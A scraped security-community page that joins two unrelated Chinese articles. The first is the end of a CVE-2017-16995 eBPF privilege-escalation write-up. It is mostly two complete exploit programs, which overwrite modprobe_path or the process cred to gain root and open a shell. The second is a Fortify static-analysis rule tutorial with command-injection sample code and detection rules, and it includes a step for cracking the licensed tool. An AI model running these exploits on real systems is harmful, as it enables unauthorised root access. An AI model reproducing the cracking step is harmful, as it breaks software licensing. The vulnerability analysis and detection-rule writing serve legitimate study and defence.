.off = 0, \
.imm = 0 })
#define BPF_BYPASS_CHECK() \
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), \
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_EXIT_INSN()
#define BPF_GET_MAP_FD(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /*mov64 reg1, reg9=mapfd*/ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /*mov64 reg2, fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /*reg2 = reg2-4=fp-4*/ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /*(u64 *)(fp-4) = idx*/ \
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /*if(r0 == 0){exit(0)}else{jmp 1}*/ \
BPF_EXIT_INSN(), \
BPF_LDX_MEM(BPF_DW, dst, BPF_REG_0, 0) // dst = *(u64 *)(r0)=map[0]
static int load_prog() {
struct bpf_insn prog[] = {
BPF_BYPASS_CHECK(),
BPF_LD_MAP_FD(BPF_REG_9, mapfd), //r9=mapfd
BPF_GET_MAP_FD(0, BPF_REG_6), //r6=map[0]=op
BPF_GET_MAP_FD(1, BPF_REG_7), //r7=map[1]=addr
BPF_GET_MAP_FD(2, BPF_REG_8), //r8=map[2]=value
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0=&map[2] */
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
//get *(u64 *)(fp+0x28)=ret_addr
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, 0x28), //r3 = *(fp+0x28)=ret_addr
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), //*r2=map[2]=r3
BPF_EXIT_INSN(),
//write
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), //*r7=r8
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}
void Output(const char *fmt, ...){
va_list args;
va_start(args, fmt);
fprintf(stdout, "[+] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void print(const char *fmt, ...){
va_list args;
va_start(args, fmt);
fprintf(stdout, "[-] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void init_bpf()
{
Output("CVE-2017-16995\n");
Output("bpf create map\n");
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
if(mapfd < 0 ){
Err("bpf map create Error\n");
}
Output("load prog\n");
progfd = load_prog();
if(progfd < 0 ){
if(errno == EACCES){
print("bpf_log_buf: %s\n", bpf_log_buf);
}
Err("Load progd Error: %s\n", strerror(errno));
}
Output("socket pair\n");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
Err("create socket pair Error %s\n", strerror(errno));
}
Output("set sockopt\n");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
Err("setsockopt %s\n", strerror(errno));
}
}
static void write_msg(){
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if(n < 0){
perror("Write");
return;
}
if(n != sizeof(buffer)){
fprintf(stderr, "short write: %zd\n", n);
}
}
static void update_elem(int key, unsigned long value){
if(bpf_update_elem(mapfd, &key, &value, 0)){
Err("bpf_update_elem error %s\n", strerror(errno));
}
}
static unsigned long get_value(int key){
unsigned long value;
if(bpf_lookup_elem(mapfd, &key, &value)){
Err("bpf_lookup_elem %s\n", strerror(errno));
}
return value;
}
static unsigned long sendcmd(unsigned long op, unsigned long addr, unsigned long value){
update_elem(0, op);
update_elem(1, addr);
update_elem(2, value);
write_msg();
return get_value(2);
}
void leak_kernel(){
Output("leak_kernel:\n");
size_t kernel_addr = sendcmd(1, 0, 0);
kernel_base = kernel_addr - 0x7272bc;
modprobe_path = kernel_base + modprobe_path;
print("kernel_base: 0x%llx\n", kernel_base);
print("modprobe_path: 0x%llx\n", modprobe_path);
}
void write_mod(){
size_t t_name = 0x732e6c2f706d742f; // '/tmp/l.sh'
size_t t2_name = 0x0068;
sendcmd(3, modprobe_path, t_name);
sendcmd(3, modprobe_path+8, t2_name);
}
void init_sh(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/l.sh");
system("chmod +x /tmp/l.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
system("chmod +x /tmp/ll");
}
int main(){
init_sh();
init_bpf();
leak_kernel();
write_mod();
system("/tmp/ll");
system("cat /flag");
return 0;
}
覆写`cred`:
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>
char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;
size_t cred_offset = 0x9b8;
size_t uid_offset = 4;
#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];
void Err(const char *fmt, ...){
va_list args;
va_start(args, fmt);
fprintf(stdout, "[!] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}
static __u64 ptr_to_u64(void *ptr)
{
return (__u64) (unsigned long) ptr;
}
int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = ptr_to_u64((void *) insns),
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = ptr_to_u64((void *) license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries, int map_flags)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
int bpf_lookup_elem(int fd, void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
/* Memory load, dst_reg = *(uint *) (src_reg + off16) */
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
/* Memory store, *(uint *) (dst_reg + off16) = src_reg */
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
/* Raw code statement block */
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define BPF_BYPASS_CHECK() \
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), \
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_EXIT_INSN()
#define BPF_GET_MAP_FD(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /*mov64 reg1, reg9=mapfd*/ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /*mov64 reg2, fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /*reg2 = reg2-4=fp-4*/ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /*(u64 *)(fp-4) = idx*/ \
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /*if(r0 == 0){exit(0)}else{jmp 1}*/ \
BPF_EXIT_INSN(), \
BPF_LDX_MEM(BPF_DW, dst, BPF_REG_0, 0) // dst = *(u64 *)(r0)=map[0]
static int load_prog() {
struct bpf_insn prog[] = {
BPF_BYPASS_CHECK(),
BPF_LD_MAP_FD(BPF_REG_9, mapfd), //r9=mapfd
BPF_GET_MAP_FD(0, BPF_REG_6), //r6=map[0]=op
BPF_GET_MAP_FD(1, BPF_REG_7), //r7=map[1]=addr
BPF_GET_MAP_FD(2, BPF_REG_8), //r8=map[2]=value
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0=&map[2] */
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
//get *(u64 *)(fp)=stack_addr
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), //op==0
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), //*r2=map[2]=r10=fp
BPF_EXIT_INSN(),
//read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), //op==1
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0x0), //r3 = *(r7)
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), //*r2=map[2]=r3
BPF_EXIT_INSN(),
//write
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), //*r7=r8
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}
void Output(const char *fmt, ...){
va_list args;
va_start(args, fmt);
fprintf(stdout, "[+] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void print(const char *fmt, ...){
va_list args;
va_start(args, fmt);
fprintf(stdout, "[-] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void init_bpf()
{
Output("CVE-2017-16995\n");
Output("bpf create map\n");
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
if(mapfd < 0 ){
Err("bpf map create Error\n");
}
Output("load prog\n");
progfd = load_prog();
if(progfd < 0 ){
if(errno == EACCES){
print("bpf_log_buf: %s\n", bpf_log_buf);
}
Err("Load progd Error: %s\n", strerror(errno));
}
Output("socket pair\n");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
Err("create socket pair Error %s\n", strerror(errno));
}
Output("set sockopt\n");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
Err("setsockopt %s\n", strerror(errno));
}
}
static void write_msg(){
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if(n < 0){
perror("Write");
return;
}
if(n != sizeof(buffer)){
fprintf(stderr, "short write: %zd\n", n);
}
}
static void update_elem(int key, unsigned long value){
if(bpf_update_elem(mapfd, &key, &value, 0)){
Err("bpf_update_elem error %s\n", strerror(errno));
}
}
static unsigned long get_value(int key){
unsigned long value;
if(bpf_lookup_elem(mapfd, &key, &value)){
Err("bpf_lookup_elem %s\n", strerror(errno));
}
return value;
}
static unsigned long sendcmd(unsigned long op, unsigned long addr, unsigned long value){
update_elem(0, op);
update_elem(1, addr);
update_elem(2, value);
write_msg();
return get_value(2);
}
void exp(){
size_t stack_addr = sendcmd(0, 0, 0);
print("stack_addr: 0x%llx\n", stack_addr);
size_t ti_addr = (stack_addr)& ~(0x4000-1);
print("ti_addr: 0x%llx\n", ti_addr);
size_t task_addr = sendcmd(1, ti_addr, 0);
if (task_addr < PHYS_OFFSET)
Err("bogus task ptr");
print("task_addr: 0x%llx\n", task_addr);
size_t cred_addr = task_addr + cred_offset;
size_t cred = sendcmd(1, cred_addr, 0);
printf("cred: 0x%llx\n", cred);
size_t uid_addr = cred + uid_offset;
printf("uid_addr: 0x%llx\n", uid_addr);
sendcmd(2, uid_addr, 0);
if(!getuid()){
print("You are root now\n");
system("id");
system("/bin/sh");
exit(0);
}
}
int main(){
init_bpf();
exp();
return 0;
}
## 总结
本次分析，仍然有部分不是太清楚的地方，比如 `eBPF`指令执行时，各虚拟寄存器是如何初始化的。以及
`eBPF`是如何实现的，已经`eBPF`的使用也不太熟练。这都是后续需要继续研究的地方。
## 参考
[CVE-2017-16995复现与分析](https://xz.aliyun.com/t/7782)
[深入分析Ubuntu本地提权漏洞—【CVE-2017-16995】](https://xz.aliyun.com/t/2212)
[Linux
ebpf模块整数扩展问题导致提权漏洞分析（CVE-2017-16995）](http://p4nda.top/2019/01/18/CVE-2017-16995/#BPF-MAP-CREATE)
[ThreadInfo结构和内核栈的两种关系](https://cloud.tencent.com/developer/article/1603829) | 社区文章 |
# 概述
Fortify是一款商业级的源码扫描工具，其工作原理和codeql类似，甚至一些规则编写的语法都很相似，其工作示意图如下：
首先`Fortify`对源码进行分析（需要编译），然后提取出相关信息保存到某个位置，然后加载规则进行扫描，扫描的结果保存为 `.fpr` 文件，然后用户使用
`GUI` 程序对结果进行分析，排查漏洞。
# 环境搭建
本文的分析方式是在 `Linux` 上对源码进行编译、扫描，然后在 `Windows` 平台对扫描结果进行分析，所以涉及 `Windows` 和
`Linux` 两个平台的环境搭建。
## Windows搭建
首先双击 `Fortify_SCA_and_Apps_20.1.1_windows_x64.exe` 安装
安装完成后，把 `fortify-common-20.1.1.0007.jar` 拷贝 `Core\lib` 进行破解，然后需要把 `rules`
目录的规则文件拷贝到安装目录下的 `Core\config\rules` 的路径下，该路径下保存的是Fortify的默认规则库。
`ExternalMetadata` 下的文件也拷贝到 `Core\config\ExternalMetadata` 目录即可
最后执行 `auditworkbench.cmd` 即可进入分析源码扫描结果的IDE.
## Linux搭建
解压下载的压缩包，然后执行 `./Fortify_SCA_and_Apps_19.2.1_linux_x64.run`
按照引导完成安装即可，安装完成后进入目录执行`sourceanalyzer`来查看是否安装完成
$ ./bin/sourceanalyzer -version
Fortify Static Code Analyzer 19.2.1.0008 (using JRE 1.8.0_181)
然后将 `rules` 和 `ExternalMetadata` 拷贝到对应的目录中完成规则的安装。
# 工具使用
本节涉及代码
https://github.com/hac425xxx/sca-workshop/tree/master/fortify-example
Fortify的工作原理和codeql类似，首先会需要使用Fortify对目标源码进行分析提取源代码中的信息，然后使用规则从源码信息中查询出匹配的代码。
首先下载代码然后使用 `sourceanalyzer` 来分析源码
/home/hac425/sca/fortify/bin/sourceanalyzer -b fortify-example make
其中
* `-b` 指定这次分析的 `id`
* 后面是编译代码时使用的命令，这里是 `make`
分析完代码后再次执行 `sourceanalyzer` 对源码进行扫描
/home/hac425/sca/fortify/bin/sourceanalyzer -b fortify-example -scan -f fortify-example.fpr
其中
* `-b` 指定扫描的 `id` 和之前分析源码时的 `id` 对应
* `-scan` 表示这次是采用规则对源码进行扫描
* `-f` 指定扫描结果输出路径，扫描结果可以使用 `auditworkbench.cmd` 进行可视化的分析。
生成 `.fpr` 结果后可以使用 `auditworkbench` 加载分析
# system命令执行检测
本节涉及代码
https://github.com/hac425xxx/sca-workshop/tree/master/fortify-example/system_rules
漏洞代码如下
int call_system_example()
{
char *user = get_user_input_str();
char *xx = user;
system(xx);
return 1;
}
首先通过 `get_user_input_str` 获取外部输入， 然后传入 `system` 执行。
下面介绍如何编写 `Fortify` 规则来识别这个漏洞， 规则文件是一个xml文件，其主要结构如下
<?xml version="1.0" encoding="UTF-8"?>
<RulePack xmlns="xmlns://www.fortifysoftware.com/schema/rules">
<RulePackID>EA6AEBB1-F11A-44AD-B5DD-F4F66907184E</RulePackID>
<Version>1.0</Version>
<Description><![CDATA[]]></Description>
<Rules version="20.1">
<RuleDefinitions>
<DataflowSourceRule formatVersion="3.2" language="cpp">
....
</DataflowSourceRule>
</RuleDefinitions>
</Rules>
</RulePack>
1. `RulePackID` 表示这个规则文件的 ID， 设置符合格式的唯一字符串即可
2. `RuleDefinitions` 里面是这个xml文件中的所有规则，每个规则作为`RuleDefinitions`的子节点存在，比如示例中的 `DataflowSourceRule` 节点，表示这是一个 `DataflowSource` 规则，用于指定数据流跟踪的 `source`
我们开发规则实际也只需要在 `RuleDefinitions` 中新增对应的规则节点即可。
`Fortify` 也支持污点跟踪功能，下面就介绍如何定义 `Fortify` 的污点跟踪规则，首先我们需要定义 `source`
，`DataflowSourceRule` 规则用于定义污点源，不过这个只支持定义函数的一些属性作为污点源，比如返回值、参数等，代码如下
<DataflowSourceRule formatVersion="3.2" language="cpp">
<RuleID>AEFA1FBF-3137-4DD8-A65F-774350C97427</RuleID>
<FunctionIdentifier>
<FunctionName>
<Value>get_user_input_str</Value>
</FunctionName>
</FunctionIdentifier>
<OutArguments>return</OutArguments>
</DataflowSourceRule>
这条规则的作用是告知Fortify的数据流分析引擎 `get_user_input_str` 的返回值是污点数据，规则的解释如下：
1. 首先 `RuleID` 用于唯一标识一条规则
2. `FunctionIdentifier` 用于匹配一个函数， 其中包含一个 `FunctionName` 子节点，表示通过函数名进行匹配，这里就是匹配 `get_user_input_str` 函数
3. 然后 `OutArguments` 用于定义污点源， `return` 表示该函数的返回值是污点数据，如果该节点的值为数字 `n` ， 则表示第 `n` 个参数为污点数据，`n` 从0开始计数。
定义好 `source` 点后，还需要定义 `sink` 点，`DataflowSinkRule` 规则用于定义 `sink` 点
<DataflowSinkRule formatVersion="3.2" language="cpp">
<RuleID>AA212456-92CD-48E0-A5D5-E74CC26ADDF</RuleID>
<Description><![CDATA[]]></Description>
<VulnCategory>Command Injection</VulnCategory>
<DefaultSeverity>4.0</DefaultSeverity>
<Sink>
<InArguments>0</InArguments>
</Sink>
<FunctionIdentifier>
<FunctionName>
<Value>system</Value>
</FunctionName>
</FunctionIdentifier>
</DataflowSinkRule>
这条规则的作用是设置 `system` 的第 `0` 个参数为 `sink` 点，规则解释如下：
1. `VulnCategory` 是一个字符串，会在扫描结果中呈现
2. `FunctionIdentifier` 用于匹配一个函数，这里就是匹配 `system` 函数
3. `Sink` 和 `InArguments` 用于表示函数的第 `0` 个参数为 `sink` 点
规则编写完后，保存成一个 `xml` 文件，然后在对源码进行扫描时通过 `-rules` 指定自定义的规则文件即可
/home/hac425/sca/fortify/bin/sourceanalyzer -rules system.xml -b fortify-example -scan -f fortify-example.fpr -no-default-rules
ps: `-no-default-rules` 表示不使用Fortify的默认规则，这里主要是在自己开发规则时避免干扰。
扫描的结果如下
由于我们没有考虑 `clean_data` 函数对外部输入的过滤，所以会导致误报
int call_system_safe_example()
{
char *user = get_user_input_str();
char *xx = user;
if (!clean_data(xx))
return 1;
system(xx);
return 1;
}
可以使用 `DataflowCleanseRule` 规则来定义这类会对输入进行过滤的函数
<DataflowCleanseRule formatVersion="3.2" language="cpp">
<RuleID>3EC057A4-AE7A-42C4-BAA0-3ACB36C8AB4B</RuleID>
<FunctionIdentifier>
<FunctionName>
<Value>clean_data</Value>
</FunctionName>
</FunctionIdentifier>
<OutArguments>0</OutArguments>
</DataflowCleanseRule>
规则表示 `clean_data` 函数执行后其第 0 个参数就是干净的（不再是污点值），此时就可以把外部数据被过滤的场景从查询结果中剔除掉了。
此时的扫描还会漏报 `call_our_wrapper_system_custom_memcpy_example`
，因为其中使用了custom_memcpy这个外部函数来进行内存拷贝，这样`Fortify`在进行污点跟踪的时候就会导致污点数据丢失，从而漏报。
int custom_memcpy(char *dst, char *src, int sz);
int call_our_wrapper_system_custom_memcpy_example()
{
char *user = get_user_input_str();
char *tmp = malloc(strlen(user) + 1);
custom_memcpy(tmp, user, strlen(user));
our_wrapper_system(tmp);
return 1;
}
我们可以使用 `DataflowPassthroughRule` 规则来对这个函数进行建模
<DataflowPassthroughRule formatVersion="3.2" language="cpp">
<RuleID>C929ED5F-9E6A-4CB5-B8AE-AAAAD3C20BDC</RuleID>
<FunctionIdentifier>
<FunctionName>
<Pattern>custom_memcpy</Pattern>
</FunctionName>
</FunctionIdentifier>
<InArguments>1</InArguments>
<OutArguments>0</OutArguments>
</DataflowPassthroughRule>
规则作用是告知 `Fortify` 调用 `custom_memcpy` 函数时，第 `1` 个参数的污点数据会传播到第 `0` 个参数，结果如下
# system命令执行检测 # 2
除了使用 DataflowSourceRule 、DataflowSinkRule 等规则来定义污点跟踪相关的属性外，Fortify还支持使用
CharacterizationRule 来定义污点跟踪相关的特性。
其中对应关系如[下图所示](https://tech.esvali.com/mf_manuals/html/sca_ssc/hpe_security_fortify_static_code_analyzer-custom_rules_guide.htm)：
根据文档的使用示例，修修改改很快就可以使用 `CharacterizationRule` 来搜索出涉及 `system` 命令执行的代码，代码路径如下
https://github.com/hac425xxx/sca-workshop/blob/master/fortify-example/system_rules/system_CharacterizationRule.xml
介绍具体的 `CharacterizationRule` 规则实现之前，先介绍一下 `StructuralRule` 规则，因为
`CharacterizationRule` 就是通过 `StructuralRule` 的语法来匹配代码中的语法结构。
`StructuralRule` 官方文档中的内容如下
The Structural Analyzer operates on a model of the program source code called the structural tree. The structural tree is made up of a set of nodes that represent program constructs such as classes, functions, fields, code blocks, statements, and expressions.
Fortify在 **编译/分析** 代码过程中会把代码中的元素（代码块、类、表达式、语句等）通过树状结构体组装起来形成一颗 structural
tree，然后扫描的时候使用 Structural Analyzer 来解析 StructuralRule ，最后输出匹配的代码。
下面以一个简单的示例看看 structural tree 的结构，示例代码如下
class C {
private int f;
void func() {
}
}
代码对应的树结构如下
搜索上述代码的 StructuralRule 的代码如下
Field field: field.name == "f" and field.enclosingClass is [Class class: class.name == "C"]
其中 `Field field:` 类似于声明变量， `:` 后面试前面变量需要满足的条件，比如
field.name == "f"
这个就表示 `field` 的 `name` 为 `f` ，规则后续使用 `and` 表示 **与** 条件，然后通过
`field.enclosingClass` 获取到这个字段位于的`class`，`[...]` 类似于定义一个变量，其返回值为满足条件的对象
[Class class: class.name == "C"]
上面的语句表示 [] 会返回 类名为 C 的 Class 对象
field.enclosingClass is [Class class: class.name == "C"]
这条语句的作用就是限制 `field` 所在的类的类名为 `C` ，其实 `StructuralRule`
的作用和使用方式和`Codeql`非常相似，主要就是利用逻辑表达式（and, or...）来匹配代码的特定元素。
下面介绍CharacterizationRule的使用，首先定义 `source` 点
<CharacterizationRule formatVersion="19.10" language="cpp">
<RuleID>EE5D-4B1D-A798-4D1B5E081112</RuleID>
<StructuralMatch>
<![CDATA[
FunctionCall fc:
fc.name contains "get_user_input_str"
]]>
</StructuralMatch>
<Definition>
<![CDATA[
TaintSource(fc, {+PRIVATE})
]]>
</Definition>
</CharacterizationRule>
其中 `StructuralMatch` 使用 `StructuralRule` 的语法来匹配代码，然后在 `Definition`
里面可以使用一些API（比如TaintSource）和匹配到的代码元素来标记污点跟踪相关的熟悉，比如污点源、`Sink`点等，这里要注意一点：`Definition`
中可以访问到 `StructuralMatch` 中声明的所有变量，不论是通过 `:` 还是通过 `[]` 声明。
上述规则的作用就是
1. 首先通过 StructuralMatch 匹配到 get_user_input_str 的函数调用对象 fc.
2. 然后在 Definition ，使用 TaintSource 设置 fc 为污点源，污点标记为 PRIVATE.
`sink` 点的设置
<CharacterizationRule formatVersion="3.12" language="cpp">
<RuleID>EE905D4B-A03D-49B2-83E4-4EE043411223</RuleID>
<VulnKingdom>Input Validation and Representation</VulnKingdom>
<VulnCategory>System RCE</VulnCategory>
<DefaultSeverity>4.0</DefaultSeverity>
<Description><![CDATA[]]></Description>
<StructuralMatch>
<![CDATA[
FunctionCall fc:
fc.name contains "system" and fc.arguments[0] is [Expression e:]
]]>
</StructuralMatch>
<Definition>
<![CDATA[
TaintSink(e, [PRIVATE])
]]>
</Definition>
</CharacterizationRule>
规则解释如下：
1. 首先使用 `StructuralMatch` 匹配 `fc` 为 `system` 的函数调用， `e` 为 `fc` 的第0个参数
2. 然后在 `Definition` 使用 `TaintSink` 设置 `e` 为`sink`点，污点标记为 `PRIVATE`.
这样就表示如果 `system` 函数调用的第 `0` 个参数为污点数据且污点数据中包含 `PRIVATE` 标记，就会把这段代码爆出来。
其他的规则（函数建模，`clean_data`函数）也是类似这里不再介绍，最终扫描结果如下图：
在开发 `Structural`相关规则时可以在分析时使用 `-Ddebug.dump-structural-tree` 把代码的 `structural
tree` 打印出来，然后我们根据树的结构就可以比较方便的开发规则，完整命令行如下
/home/hac425/sca/fortify/bin/sourceanalyzer -no-default-rules -rules hello_array.xml -b fortify-example -scan -f fortify-example.fpr -D com.fortify.sca.MultithreadedAnalysis=false -Ddebug.dump-structural-tree 2> tree.tree
打印出来的示例如下
根据树状结构就可以写出匹配 `global_array[user]` 的代码如下：
ArrayAccess aa: aa.index is [VariableAccess va:va.name == "user"]
# 引用计数漏洞
本节相关代码
https://github.com/hac425xxx/sca-workshop/blob/master/fortify-example/ref_rules/
漏洞代码
int ref_leak(int *ref, int a, int b)
{
ref_get(ref);
if (a == 2)
{
puts("error 2");
return -1;
}
ref_put(ref);
return 0;
}
int ref_dec_error(int *ref, int a, int b)
{
ref_get(ref);
if (a == 2)
{
puts("ref_dec_error 2");
ref_put(ref);
}
ref_put(ref);
return 0;
}
`ref_leak` 的 漏洞是当 `a=2` 时会直接返回没有调用 `ref_put` 对引用计数减一，漏洞模型：在某些存在
`return`的条件分支中没有调用 `ref_put` 释放引用计数。
`ref_dec_error` 的漏洞是在特定条件下会对引用计数减多次。
这种类型漏洞适合使用 `ControlflowRule` 来查询对应的漏洞，对于规则如下
<ControlflowRule formatVersion="3.4" language="cpp">
<RuleID>1650899A-908F-4301-B67A-D08E8E331122</RuleID>
<VulnKingdom>API Abuse</VulnKingdom>
<VulnCategory>Ref Leak</VulnCategory>
<DefaultSeverity>3.0</DefaultSeverity>
<Description><![CDATA[]]></Description>
<FunctionIdentifier id="ref_put">
<FunctionName>
<Pattern>ref_put</Pattern>
</FunctionName>
</FunctionIdentifier>
<FunctionIdentifier id="ref_get">
<FunctionName>
<Pattern>ref_get</Pattern>
</FunctionName>
</FunctionIdentifier>
<PrimaryState>ref_add</PrimaryState>
<Definition>
<![CDATA[
state start (start);
state ref_add;
state ref_dec;
state no_leak;
state checked;
state leak (error) : "ref.leak";
state double_dec (error): "ref dec 2";
var p;
start -> ref_add { $ref_get(p) }
ref_add -> ref_dec { $ref_put(p) }
ref_dec -> double_dec { $ref_put(p) }
ref_dec -> checked { #return() }
ref_add -> leak { #return() }
]]>
</Definition>
</ControlflowRule>
首先 FunctionIdentifier 匹配 `ref_put` 和 `ref_get` 两个函数，然后通过 Definition 定义规则
state start (start);
state ref_add;
